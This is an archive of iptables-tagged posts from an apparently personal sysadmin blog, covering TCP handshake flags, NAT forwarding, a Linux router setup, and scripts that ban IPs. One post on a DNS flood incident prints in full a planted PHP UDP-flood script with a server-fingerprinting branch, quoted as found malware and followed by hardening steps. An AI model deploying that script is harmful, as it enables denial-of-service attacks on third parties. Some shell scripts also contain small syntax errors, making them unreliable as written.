Archive

Posts Tagged ‘iptables’

tcp flags explanation in details – SYN ACK FIN RST URG PSH and iptables for sync flood

October 11th, 2013 No comments

This is from wikipedia:

To establish a connection, TCP uses a three-way handshake. Before a client attempts to connect with a server, the server must first bind to and listen at a port to open it up for connections: this is called a passive open. Once the passive open is established, a client may initiate an active open. To establish a connection, the three-way (or 3-step) handshake occurs:

  1. SYN: The active open is performed by the client sending a SYN to the server. The client sets the segment's sequence number to a random value A.
  2. SYN-ACK: In response, the server replies with a SYN-ACK. The acknowledgment number is set to one more than the received sequence number i.e. A+1, and the sequence number that the server chooses for the packet is another random number, B.
  3. ACK: Finally, the client sends an ACK back to the server. The sequence number is set to the received acknowledgement value i.e. A+1, and the acknowledgement number is set to one more than the received sequence number i.e. B+1.

At this point, both the client and server have received an acknowledgment of the connection. The steps 1, 2 establish the connection parameter (sequence number) for one direction and it is acknowledged. The steps 2, 3 establish the connection parameter (sequence number) for the other direction and it is acknowledged. With these, a full-duplex communication is established.

You can read pdf document here http://www.nordu.net/development/2nd-cnnw/tcp-analysis-based-on-flags.pdf

H3C's implementations of sync flood solution http://www.h3c.com/portal/Products___Solutions/Technology/Security_and_VPN/Technology_White_Paper/200812/624110_57_0.htm

Using iptables to resolve sync flood issue http://pierre.linux.edu/2010/04/how-to-secure-your-webserver-against-syn-flooding-and-dos-attack/ and http://www.cyberciti.biz/tips/howto-limit-linux-syn-attacks.html

You may also consider using tcpkill to kill half open sessions(using ss -s/netstat -s<SYN_RECV>/tcptrack to see connection summary)

Output from netstat -atun:

The reason for waiting is that packets may arrive out of order or be retransmitted after the connection has been closed. CLOSE_WAIT indicates that the other side of the connection has closed the connection. TIME_WAIT indicates that this side has closed the connection. The connection is being kept around so that any delayed packets can be matched to the connection and handled appropriately.

more on http://kb.iu.edu/data/ajmi.html about FIN_wait (one error: 2MSL<Maximum Segment Lifetime>=120s, not 2ms)

All about tcp socket states: http://www.krenel.org/tcp-time_wait-and-ephemeral-ports-bad-friends/

And here's more about tcp connection(internet socket) states: https://en.wikipedia.org/wiki/Transmission_Control_Protocol#Protocol_operation

NAT forwarding for ssh and vncviewer

July 11th, 2013 No comments

*nat
:PREROUTING ACCEPT [1:88]
:POSTROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A PREROUTING -p tcp --dport 5911 -d 192.168.40.10 -j DNAT --to-destination 172.16.0.101:5904 #now ssh <ip of eth0, 192.168.40.10> -p 5911 is going to visit 172.16.0.101:5904
-A PREROUTING -p tcp --dport 222 -d 192.168.40.10 -j DNAT --to-destination 172.16.0.101:22 #now ssh <ip of eth0, 192.168.40.10> -p 222 is going to visit 172.16.0.101:22
-A POSTROUTING -o eth0 -j MASQUERADE #if eth0 is private ip, you can also do a NAT with one public ip.
COMMIT

*filter
:INPUT ACCEPT [247:16364]
:FORWARD ACCEPT [163:13692]
:OUTPUT ACCEPT [228:18664]
COMMIT

configure linux as a router firewall through iptables NAT

June 25th, 2013 No comments
  • On the linux box that will act as router:

1.Turn on ip_forward:

vi /etc/sysctl.conf

net.ipv4.ip_forward = 1

sysctl -p

2.Edit /etc/sysconfig/iptables:

*nat
:PREROUTING ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A POSTROUTING -o eth1 -j MASQUERADE #eth1 is the NIC connecting to outside network

#-A POSTROUTING -s 192.168.8.0/255.255.248.0 -o eth0 -j MASQUERADE  #allow 192.168.8.0/21 to do NAT
COMMIT

*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT

3.Reload iptables:

[root@Router ~]# service iptables restart
Flushing firewall rules: [ OK ]
Setting chains to policy ACCEPT: filter nat [ OK ]
Unloading iptables modules: [ OK ]
Applying iptables firewall rules: [ OK ]
Loading additional iptables modules: ip_conntrack_netbios_n[ OK ]

[root@Router ~]# iptables -t nat -nL
Chain PREROUTING (policy ACCEPT)
target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
MASQUERADE all -- 0.0.0.0/0 0.0.0.0/0

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
[root@Router ~]# iptables -t filter -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

On the linux box that will act as client:

1.Set default gateway to the ip address of linux router:

vi /etc/sysconfig/network

...

GATEWAY=192.168.6.1 #this is ip address of the linux router

...

2.restart network

Test

On router, the default gateway is:

0.0.0.0         10.124.184.1    0.0.0.0         UG        0 0          0 eth1

And on the linux client, we'll now be able to connect to outside network too:

[root@client ~]# ping 10.244.29.184
PING 10.244.29.184 (10.244.29.184) 56(84) bytes of data.
64 bytes from 10.244.29.184: icmp_seq=1 ttl=254 time=0.236 ms

PS:

  1. You can also make linux as firewall using NAT/iptables, more on this article: http://xinn.org/iptables-nat.html
  2. About the numbers in brackets, you can refer to the following: https://www.linuxquestions.org/questions/linux-networking-3/those-%5B-damn-brackets-%5D-in-iptables-must-be-there-for-a-reason-619556/
  3. You should turn on promiscuous mode before applying the configs in this article. If you're using Vsphere Esxi, this is the step:

promiscuous

resolved – port 53 dns flooding attack

April 13th, 2012 No comments

I found this port 53 dns flooding attack when the server became very unsteady. NIC was blipping and networking just went down without OS rebooting.

Using ntop as detector, I found the issue with DNS traffic was at a very high level(about 3Gb traffic). Then I determined to forbid DNS traffic, and only allow some usual ports.

  • Disable autoboot of iptables in case there's something wrong with iptables

mv /etc/rc3.d/S08iptables /etc/rc3.d/s08iptables

  • here's the rules

[root@doxer ~]# cat iptables-stop-flood.sh

#!/bin/bash
iptables -F

#Note that DROP is different than REJECT. REJECT will return error to client(telnet will return Connection refused from client), but DROP will just drop the packet(telnet will hang Trying and return Connection timed out).
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

#todo - allow no more than 5 new connections per second
#iptables -A INPUT -p tcp --syn -m limit --limit 5/s -i eth0 -j ACCEPT

# Allow traffic already established to continue
iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p all -m state --state INVALID -j DROP

#Allow ftp, http, mysql
#todo - if there's no -m, than --dport or --sport must be in a range
#todo - --ports source and destination ports are assumed to be the same
iptables -A INPUT -p tcp -m multiport --dport 20,21,80,3306 -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 20,21,80,3000,3306 -j ACCEPT

#Allow outgoing httpd like telnet doxer 80
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

#Allow ntop
iptables -A INPUT -p udp -m multiport --dport 3000 -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 3000 -j ACCEPT

#Allow sftp
iptables -A INPUT -p tcp --dport 115 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 115 -j ACCEPT

#Allow outgoing ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --sport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT

#allow rsync
iptables -A OUTPUT -p tcp --dport 873 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 873 -j ACCEPT
iptables -A INPUT -p tcp --sport 873 -j ACCEPT
iptables -A INPUT -p tcp --dport 873 -j ACCEPT

#allow ftp passive mode(you need set vsftpd first)
iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 35000:37000 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 35000:37000 -j ACCEPT

#Allow ping & nslookup. reply is 8, request is 0
#allow other hosts to ping
iptables -A INPUT -p icmp --icmp-type 8 -m limit --limit 1/s -j ACCEPT
#iptables -A INPUT -p icmp --icmp-type 8 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 0 -j ACCEPT
#allow this host ping others
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT

#allow dns query
#iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
#iptables -A INPUT -p udp --sport 53 -j ACCEPT
#iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT
#iptables -A INPUT -p tcp --sport 53 -j ACCEPT

# Allow local loopback services
iptables -A INPUT -i lo -j ACCEPT

#save and restart iptables
/etc/init.d/iptables save
/etc/init.d/iptables restart

  • run the rules

chmod +x ./iptables-stop-flood.sh && ./iptables-stop-flood.sh

  • enable autoboot of iptables
If everything is ok, enable autoboot of iptables:
mv /etc/rc3.d/s08iptables /etc/rc3.d/S08iptables

After all these steps, dns traffic now dropped to normal status.

NB:

After several days' investigation, I finally found out that this attack was source from some worms(php worms?) embedded in dedecms's directory. Here's one file called synddos.php:

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_REQUEST['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Warning to: opening";
exit;
}

for($i=0;$i<$Sendlen;$i++){
$out .= "A";
}

$max_time = time()+$exec_time;

while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}

echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

This is crazy! That explains the reason why there was so much DNS traffic out!

To cure this weakness:

1.disable fsockopen function in php.ini

disable_functions = fsockopen

2.in .htaccess file, limit php scripts from running

RewriteEngine on
RewriteCond % !^$
RewriteRule uploads/(.*).(php)$ - [F]
RewriteRule data/(.*).(php)$ - [F]
RewriteRule templets/(.*).(php)$ - [F]

ban specific country’s ip address from visiting sites

September 11th, 2010 No comments

To drop ip addresses that has 20 and more concurrent requests:
#!/bin/bash
banips=`netstat -an| grep :80 | grep -v 127.0.0.1 |grep -v 0.0.0.0 |awk '{ print $5 }' | sort|awk -F: '{print $1}' | uniq -c | awk '$1 >20 {print $2}'`
for ip in $banips
do
iptables -A INPUT -s $ip -j DROP
done
Ban specific country's ip address:
#!/bin/bash
# Block traffic from a specific country
# written by vpsee.com
#modified by doxer.org

#COUNTRY = "cn.zone"
bandir="/root/banips" #put .zone files under /root/banips/,later comes the .zone files link
[ ! -d $bandir] && mkdir -p $bandir && echo "put .zone file in $bandir" && exit 0
IPTABLES = /sbin/iptables

if [ "$(id -u)" != "0" ]; then
echo "you must be root" 1>&2
exit 1
fi

resetrules() {
$IPTABLES -F
$IPTABLES -t nat -F
$IPTABLES -t mangle -F
$IPTABLES -X
}

resetrules

zonelists=`ls /root/banips/`
for COUNTRY in $zonelists
do
IPS=`cat $COUNTRY`
for ip in $IPS
do
echo "blocking $ip"
$IPTABLES -A INPUT -s $ip -j DROP
done
done
exit 0
Country-region ip ranges:http://www.ipdeny.com/ipblocks/